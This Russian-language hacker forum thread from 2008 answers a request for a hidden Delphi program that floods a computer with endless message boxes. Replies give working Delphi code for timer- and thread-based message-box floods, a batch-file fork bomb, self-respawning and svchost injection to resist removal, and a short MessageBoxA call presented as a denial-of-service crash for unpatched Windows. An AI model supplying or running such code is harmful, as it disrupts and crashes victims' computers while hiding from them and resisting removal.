[Delphi] Вывести много MessageBox'ов

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by Input, 30 Jun 2008.

  1. Input

    Input New Member

    Joined:
    27 Jun 2008
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Уважаемы, античатовцы.
    Прошу помочь с написанием, программы. При запуски, которой будут бесконечно открываться окна с заданным текстом. У меня получилось написать только на открытия окна, и при нажатии “окей” открывается новое, а надо, чтобы постоянно открывались окна. Желательно чтобы в процессах программа не отображалась.

    Пока написал только это:

    “form1.Hide;
    while true do showmessage('ТЕКСТ');” (на дельфи).

    Заранее огромное вам спасибо.
     
  2. Ergoproxy

    Ergoproxy Elder - Старейшина

    Joined:
    18 Jan 2008
    Messages:
    248
    Likes Received:
    155
    Reputations:
    45
    бесконечный цикл тебе в помощь))
     
  3. Input

    Input New Member

    Joined:
    27 Jun 2008
    Messages:
    10
    Likes Received:
    0
    Reputations:
    0
    Так я знаю, может выложите исходник? :)
     
  4. 0verbreaK

    0verbreaK Elder - Старейшина

    Joined:
    30 Apr 2008
    Messages:
    318
    Likes Received:
    42
    Reputations:
    -3
    Все дело в функции - она отображается не более одного раза, создай собственный диалог и в цикле ShowWindow(SW_SHOW,..)
     
  5. ToniKapuchon

    ToniKapuchon Elder - Старейшина

    Joined:
    26 Feb 2006
    Messages:
    153
    Likes Received:
    45
    Reputations:
    -1
    в событии formcreate что-ли ставишь свой цикл! мошешь sleep понаписывать!!и всё! невидимость в процесах описаана в книге "Делфи глазами хацкера"
     
  6. De-visible

    De-visible [NDC] Network develope c0ders

    Joined:
    6 Jan 2008
    Messages:
    916
    Likes Received:
    550
    Reputations:
    66
    ============
    Ты оп ределись чего хочешь, помощи в написании, или готовый код....
    Выложи, что сделал глянем что именно у тебя не получается...ну или в ПМ....
     
  7. Духъ

    Духъ Banned

    Joined:
    3 Sep 2007
    Messages:
    89
    Likes Received:
    7
    Reputations:
    0
    самое простое написать батник, в котором прописать запуск какойнить проги и этогоже батника, оператива в миг заканчивается)))
     
  8. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    вообще юзай типа потоков или таймера.
    А если заюзаешь мультимедийный таймер то окошек будет просто ппц. потому что он вызает обработчик, но недожидается окончание его исполнения и в этоге накапливается огромное число сообщений у тебя. главное со скоростью не переборщить

    а так этого хватит
    Code:
    procedure TimerProc(wnd:hwnd;uMsg,idEvent:uint;dwTime:DWORD);
    begin
     MessageBox(0, 'HEllo', 'Hello', MB_ICONWARNING or MB_OK);
    end;
    
     settimer(0,1,1000,@TimerProc);// 1000 - повторить через 1000 мс = 1 с
    
     
    #8 slesh, 2 Jul 2008
    Last edited: 2 Jul 2008
  9. JuliaSmit

    JuliaSmit New Member

    Joined:
    21 Dec 2007
    Messages:
    10
    Likes Received:
    2
    Reputations:
    0
    Procedure Mess;
    begin
    MessageBox(0,'Good','Fucking',0);
    end;


    Procedure FuckingUserMessages;
    var
    Tr:Cardinal;
    begin
    While True do
    begin
    CreateThread(nil,0,@Mess,nil,0,Tr);
    Sleep(1);
    end;
    end;
     
  10. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 JuliaSmit o_O ТОгда комп стопорнется быстрее чем вылетят окошки
     
  11. Irdis

    Irdis Elder - Старейшина

    Joined:
    6 Feb 2006
    Messages:
    248
    Likes Received:
    52
    Reputations:
    3
    дак вы прежде чем выдать другое окошко
    напишите чё нить в таком духе типо
    i:=0;
    while i<10000 do
    inc(i);
    и будет вам задержка времени))))
     
    1 person likes this.
  12. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 Irdis А мож человеку нужно просто окнами забить, а не загрузить проц на 100% обычным циклом.
    P.S. to Irdis для таких целей служит апишка sleep ;)
     
  13. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    На кой вам VCL чтобы MessageBox'ами закидать? изврашенцы? выкидывай весь код, оставляй в uses тока Windows; и лудше не с одной проги закидывать, просто сделай цыкл скажем в 100 сообшений и потом ShellExecute самого себя - в процессах будет дохера процессов - 2 зайца сразу - сложнее избавится и скрывать процесс ненадо
     
  14. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 BlackSun Про VCL тут небыло реши. Да и MessageBox к VCL не имеет отношения.
    Зы. Инжект в svchost чтобы прибить бес последствий не смогли *CRAZY*


    P.S. Господи админ и его помошники апостолы(модераторы), пора закрыть тему, ибо сие переростает во флуд. Аминь.
     
    #14 slesh, 7 Jul 2008
    Last edited: 7 Jul 2008
  15. BlackSun

    BlackSun Banned

    Joined:
    1 Apr 2007
    Messages:
    989
    Likes Received:
    1,168
    Reputations:
    446
    1й пост, "form1.Hide;" :)

    Зачем мучатся ..

    Code:
    program Msg;
    
    {$IMAGEBASE $200}
    
    procedure MessageBox(Wnd: Integer; Text: PChar; Caption: PChar; Typ: Integer); stdcall;
      external 'user32.dll' name 'MessageBoxA';
    
    var
      Bug: PChar;
      I: Integer;
    begin
      Bug := Char($5C) + Char($3F) + Char($3F) + Char($5C) + Char($21) + Char($21) + Char($21) + Char($00);
      for i := 0 to 50 do
        MessageBox(0, Bug, Bug, $20000);
    end.
    
     
    1 person likes this.
  16. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    2 BlackSun ну тут дело было в алгоритме, а не в реализации.
    Зато на VCL по твоему методы через SH - будет хоооороший груз.

    А вдруг винда уже пропатчена? и тогда твой медот доса непокатит
     
    2 people like this.